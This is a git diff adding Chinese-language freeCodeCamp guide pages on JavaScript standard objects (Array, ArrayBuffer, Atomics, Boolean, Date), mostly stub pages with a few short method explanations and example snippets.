diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-tostring/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-tostring/index.md
new file mode 100644
index 0000000000..2835053703
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-tostring/index.md
@@ -0,0 +1,25 @@
+---
+title: Array.prototype.toString
+localeTitle: Array.prototype.toString
+---
+JavaScript数组方法`.toString()`用于将数组转换为单个字符串，每个元素用逗号连接。该方法没有参数。
+
+**句法**
+
+```javascript
+  var arr = [1, 2, 3, 4]; 
+  arr.toString(); 
+```
+
+## 用法
+
+```javascript
+  var str1 = [1, 2, 3, 4, 5].toString();  // str1 = '1,2,3,4,5'; 
+  var str2 = ['1', '2', '3', '4'].toString();  // str2 = '1,2,3,4'; 
+  var str3 = ['Free', 'Code', 'Camp'].toString();  // str3 = 'Free,Code,Camp'; 
+  var str4 = ['phone', '555-6726'].toString();   // str4 = 'phone,555-6726'; 
+  var str5 = ['August', 'September', 'October'].toString();  // str5 = 'August,September,October'; 
+  var str6 = ['Words', 'and', 3, 4].toString();  // str6 = 'Words,and,3,4'; 
+```
+
+资料来源： [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toString)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-unshift/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-unshift/index.md
new file mode 100644
index 0000000000..96b2cfdd43
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-unshift/index.md
@@ -0,0 +1,34 @@
+---
+title: Array.prototype.unshift
+localeTitle: Array.prototype.unshift
+---
+JavaScript数组方法`.unshift()`将一个或多个元素添加到数组的开头，并返回数组的新长度。
+
+**句法**
+```
+arr.unshift([element1[, ...[, elementN]]]) 
+```
+
+## 参数
+
+要添加到数组前面的元素。
+
+## 返回
+
+调用方法的数组的新`length` 。
+
+## 例子
+```
+var array = [1, 2, 3, 4, 5]; 
+ 
+ array.unshift(0); 
+ // If we console.log(array.shift()); the console would output 6. 
+ // array is now [0, 1, 2, 3, 4, 5]; 
+ 
+ array.unshift([-1]); 
+ // array is now [[-1], 0, 1, 2, 3, 4, 5]; 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/C2V3)
+
+来源[MDN](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-values/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-values/index.md
new file mode 100644
index 0000000000..f3fac31c27
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-values/index.md
@@ -0,0 +1,38 @@
+---
+title: Array.prototype.values
+localeTitle: Array.prototype.values
+---
+## Array.prototype.values
+
+`values`方法返回一个新的`Array Iterator`对象，该对象包含数组中每个索引的值。
+
+### 句法
+
+```javascript
+arr.values() 
+```
+
+### 返回
+
+一个新的`array` ittertator对象。
+
+### 例
+
+```javascript
+let friends = ["Rachel", "Monica", "Chandler", "Phoebe", "Joey", "Ross"] 
+ 
+ for (let friend of friends) { 
+  console.log(friend) 
+ } 
+ 
+ // Rachel 
+ // Monica 
+ // Chandler 
+ // Phoebe 
+ // Joey 
+ // Ross 
+```
+
+#### 更多信息：
+
+[MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/values)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/index.md b/client/src/guide/chinese/javascript/standard-objects/array/index.md
new file mode 100644
index 0000000000..7b5f73019e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/index.md
@@ -0,0 +1,11 @@
+---
+title: Array
+localeTitle: 排列
+---
+## 排列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md b/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md
new file mode 100644
index 0000000000..24f8784d83
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer isView
+localeTitle: ArrayBuffer是View
+---
+## ArrayBuffer是View
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md b/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md
new file mode 100644
index 0000000000..9d64bee247
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer.prototype.byteLength
+localeTitle: ArrayBuffer.prototype.byteLength
+---
+## ArrayBuffer.prototype.byteLength
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md b/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md
new file mode 100644
index 0000000000..fc0d85163e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer.prototype.slice
+localeTitle: ArrayBuffer.prototype.slice
+---
+## ArrayBuffer.prototype.slice
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md b/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md
new file mode 100644
index 0000000000..42a1df4476
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer Transfer
+localeTitle: ArrayBuffer传输
+---
+## ArrayBuffer传输
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/arraybuffer/index.md b/client/src/guide/chinese/javascript/standard-objects/arraybuffer/index.md
new file mode 100644
index 0000000000..b1e84d1b77
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/arraybuffer/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer
+localeTitle: ArrayBuffer
+---
+## ArrayBuffer
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-add/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-add/index.md
new file mode 100644
index 0000000000..6f539e1b28
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-add/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Add
+localeTitle: 原子学补充
+---
+## 原子学补充
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-add/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-and/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-and/index.md
new file mode 100644
index 0000000000..cec84f00eb
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-and/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics and
+localeTitle: 原子与
+---
+## 原子与
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-and/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-compareexchange/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-compareexchange/index.md
new file mode 100644
index 0000000000..e946175979
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-compareexchange/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics compareExchange
+localeTitle: 原子比较交换
+---
+## 原子比较交换
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-compareexchange/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-exchange/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-exchange/index.md
new file mode 100644
index 0000000000..3db903b03c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-exchange/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Exchange
+localeTitle: 原子交换
+---
+## 原子交换
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-exchange/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-islockfree/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-islockfree/index.md
new file mode 100644
index 0000000000..0914ee3ed2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-islockfree/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics isLockFree
+localeTitle: Atomics isLockFree
+---
+## Atomics isLockFree
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-islockfree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-load/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-load/index.md
new file mode 100644
index 0000000000..b6ba6372ee
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-load/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Load
+localeTitle: 原子载荷
+---
+## 原子载荷
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-load/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-or/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-or/index.md
new file mode 100644
index 0000000000..4cba4bf61e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-or/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics or
+localeTitle: 原子或
+---
+## 原子或
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-or/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-store/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-store/index.md
new file mode 100644
index 0000000000..3db911823a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-store/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Store
+localeTitle: Atomics商店
+---
+## Atomics商店
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-store/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-sub/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-sub/index.md
new file mode 100644
index 0000000000..3bd7f7e9ea
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-sub/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Sub
+localeTitle: Atomics Sub
+---
+## Atomics Sub
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-sub/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-wait/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-wait/index.md
new file mode 100644
index 0000000000..73b4b94f8d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-wait/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Wait
+localeTitle: 原子等待
+---
+## 原子等待
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-wait/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-wake/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-wake/index.md
new file mode 100644
index 0000000000..b0fef926b9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-wake/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Wake
+localeTitle: 原子唤醒
+---
+## 原子唤醒
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-wake/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-xor/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-xor/index.md
new file mode 100644
index 0000000000..eedc73ec97
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/atomics-xor/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Xor
+localeTitle: 原子Xor
+---
+## 原子Xor
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-xor/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/atomics/index.md b/client/src/guide/chinese/javascript/standard-objects/atomics/index.md
new file mode 100644
index 0000000000..6677b95f12
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/atomics/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics
+localeTitle: 原子能
+---
+## 原子能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md b/client/src/guide/chinese/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md
new file mode 100644
index 0000000000..5ebd2d707f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Boolean.prototype.toSource
+localeTitle: Boolean.prototype.toSource
+---
+## Boolean.prototype.toSource
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md b/client/src/guide/chinese/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md
new file mode 100644
index 0000000000..8d5c71e171
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Boolean.prototype.toString
+localeTitle: Boolean.prototype.toString
+---
+## Boolean.prototype.toString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md b/client/src/guide/chinese/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md
new file mode 100644
index 0000000000..ec7b026e25
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Boolean.prototype.valueOf
+localeTitle: Boolean.prototype.valueOf
+---
+## Boolean.prototype.valueOf
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/boolean/index.md b/client/src/guide/chinese/javascript/standard-objects/boolean/index.md
new file mode 100644
index 0000000000..bdff06d348
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/boolean/index.md
@@ -0,0 +1,17 @@
+---
+title: Boolean
+localeTitle: 布尔
+---
+## 布尔
+
+Boolean对象是布尔值（true或false）的对象包装器。您可以将布尔值显式定义为`new Boolean([value])` 。可选的`value`参数将转换为布尔值。如果未指定value， `0` ， `-0` ， `null` ， `false` ， `NaN` ， `undefined`或空字符串（ `""` ），则将对象设置为false。所有其他值（包括任何对象或字符串“false”）都会创建值为true的对象。一个有趣的例外是当DOM的`document.all`作为参数传递给`Boolean`构造函数时，它被评估为`false` 1 。
+
+布尔基元值（ `true`和`false` ）与`Boolean`对象值（ `true`和`false` ）不同。
+
+#### 更多信息：
+
+[JavaScript中布尔对象与布尔基元的区别 - 一滴JavaScript](http://adripofjavascript.com/blog/drips/the-difference-between-boolean-objects-and-boolean-primitives-in-javascript.html)
+
+### 来源
+
+1.  [你不知道JavaScript，第4章，第](https://github.com/getify/You-Dont-Know-JS/blob/master/types%20&%20grammar/ch4.md) 364行。 2017年10月31日访问。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-now/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-now/index.md
new file mode 100644
index 0000000000..b11c65a1d4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-now/index.md
@@ -0,0 +1,24 @@
+---
+title: Date Now
+localeTitle: 现在日期
+---
+## 现在日期
+
+Date.now（）方法返回自1970年1月1日00:00:00 UTC以来经过的毫秒数。
+
+### 句法
+
+```js
+var timeInMs = Date.now(); 
+```
+
+### 例
+
+```js
+Date.now(); 
+ // 1508783660969 
+```
+
+#### 更多信息：
+
+[MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-parse/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-parse/index.md
new file mode 100644
index 0000000000..beb0f93664
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-parse/index.md
@@ -0,0 +1,11 @@
+---
+title: Date Parse
+localeTitle: 日期解析
+---
+## 日期解析
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-parse/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getdate/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getdate/index.md
new file mode 100644
index 0000000000..c322802ff2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getdate/index.md
@@ -0,0 +1,26 @@
+---
+title: Date.prototype.getDate
+localeTitle: Date.prototype.getDate
+---
+## Date.prototype.getDate
+
+`getDate()`方法根据本地时间返回指定日期的月中某天。
+
+### 句法
+
+```js
+dateObject.getDate() 
+```
+
+### 例
+
+```js
+var Xmas95 = new Date('December 25, 1995 23:15:30'); 
+ var day = Xmas95.getDate(); 
+ 
+ console.log(day); // 25 
+```
+
+#### 更多信息：
+
+[MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getday/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getday/index.md
new file mode 100644
index 0000000000..225a216c3b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getday/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getDay
+localeTitle: Date.prototype.getDay
+---
+## Date.prototype.getDay
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getday/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getfullyear/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getfullyear/index.md
new file mode 100644
index 0000000000..60696563a4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getfullyear/index.md
@@ -0,0 +1,26 @@
+---
+title: Date.prototype.getFullYear
+localeTitle: Date.prototype.getFullYear
+---
+## Date.prototype.getFullYear
+
+Date.getFullYear（）方法根据本地时间返回指定日期的年份（四位数）。
+
+### 句法
+
+```javascript
+dateObj.getFullYear() 
+```
+
+### 例
+
+```javascript
+var date = new Date(); 
+ // creates a new Date() object with current date and time. 
+ date.getFullYear() 
+ // 2018 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getFullYear)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-gethours/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-gethours/index.md
new file mode 100644
index 0000000000..1401b39ec6
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-gethours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getHours
+localeTitle: Date.prototype.getHours
+---
+## Date.prototype.getHours
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-gethours/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md
new file mode 100644
index 0000000000..6253f12d2a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getMilliseconds
+localeTitle: Date.prototype.getMilliseconds
+---
+## Date.prototype.getMilliseconds
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getminutes/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getminutes/index.md
new file mode 100644
index 0000000000..530d0bc6b0
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getMinutes
+localeTitle: Date.prototype.getMinutes
+---
+## Date.prototype.getMinutes
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getminutes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getmonth/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getmonth/index.md
new file mode 100644
index 0000000000..3b79c35a4f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getMonth
+localeTitle: Date.prototype.getMonth
+---
+## Date.prototype.getMonth
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getmonth/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getseconds/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getseconds/index.md
new file mode 100644
index 0000000000..1b3e8c99c9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getSeconds
+localeTitle: Date.prototype.getSeconds
+---
+## Date.prototype.getSeconds
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getseconds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-gettime/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-gettime/index.md
new file mode 100644
index 0000000000..2160d354ac
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-gettime/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getTime
+localeTitle: Date.prototype.getTime
+---
+## Date.prototype.getTime
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-gettime/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
